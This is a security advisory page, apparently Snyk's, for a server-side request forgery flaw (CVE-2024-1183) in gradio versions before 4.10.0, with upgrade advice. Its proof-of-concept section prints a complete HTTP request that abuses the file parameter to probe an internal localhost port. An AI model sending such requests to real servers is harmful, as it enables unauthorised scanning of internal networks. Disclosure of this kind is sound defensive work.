Server-side Request Forgery (SSRF) Affecting gradio package, versions [,4.10.0)


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.08% (38th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Server-side Request Forgery (SSRF) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-GRADIO-6615844
  • published16 Apr 2024
  • disclosed16 Apr 2024
  • creditranjit-git

Introduced: 16 Apr 2024

CVE-2024-1183  (opens in a new tab)
CWE-918  (opens in a new tab)

How to fix?

Upgrade gradio to version 4.10.0 or higher.

Overview

gradio is a Python library for easily interacting with trained machine learning models

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the file parameter. An attacker can scan and identify open ports within an internal network by discerning the status of internal ports based on the presence of a 'Location' header or a 'File not allowed' error in the response.

PoC

GET /file=http://localhost:8182/ HTTP/1.1
Host: 127.0.0.1:7860
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://127.0.0.1:7860/
Origin: http://127.0.0.1:7860
Connection: close
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

CVSS Scores

version 3.1